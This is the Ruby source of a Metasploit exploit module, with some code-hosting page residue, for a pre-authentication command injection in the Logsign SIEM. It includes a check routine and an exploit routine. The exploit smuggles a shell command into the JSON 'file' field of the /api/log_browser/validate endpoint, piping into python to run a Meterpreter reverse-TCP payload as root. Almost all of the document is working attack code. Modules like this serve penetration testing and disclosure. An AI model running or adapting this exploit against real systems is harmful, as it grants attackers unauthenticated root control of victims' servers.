78 lines
2.3 KiB
Ruby
78 lines
2.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Logsign Remote Command Injection',
|
|
'Description' => %q{
|
|
This module exploits an command injection vulnerability in Logsign.
|
|
By exploiting this vulnerability, unauthenticated users can execute
|
|
arbitrary code under the root user.
|
|
|
|
Logsign has a publicly accessible endpoint. That endpoint takes a user
|
|
input and then use it during operating system command execution without
|
|
proper validation.
|
|
|
|
This module was tested against 4.4.2 and 4.4.137 versions.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
|
|
],
|
|
'References' =>
|
|
[
|
|
['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']
|
|
],
|
|
'Privileged' => true,
|
|
'Platform' => ['python'],
|
|
'Arch' => ARCH_PYTHON,
|
|
'DefaultOptions' =>
|
|
{
|
|
'payload' => 'python/meterpreter/reverse_tcp'
|
|
},
|
|
'Targets' => [ ['Automatic', {}] ],
|
|
'DisclosureDate' => 'Feb 26 2017',
|
|
'DefaultTarget' => 0
|
|
))
|
|
|
|
end
|
|
|
|
def check
|
|
p_hash = {:file => "#{rand_text_alpha(15 + rand(4))}.raw"}
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
|
|
'ctype' => 'application/json',
|
|
'data' => JSON.generate(p_hash)
|
|
)
|
|
|
|
if res && res.body.include?('{"message": "success", "success": true}')
|
|
Exploit::CheckCode::Vulnerable
|
|
else
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
print_status("Delivering payload...")
|
|
|
|
p_hash = {:file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #"}
|
|
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
|
|
'ctype' => 'application/json',
|
|
'data' => JSON.generate(p_hash)
|
|
)
|
|
end
|
|
end
|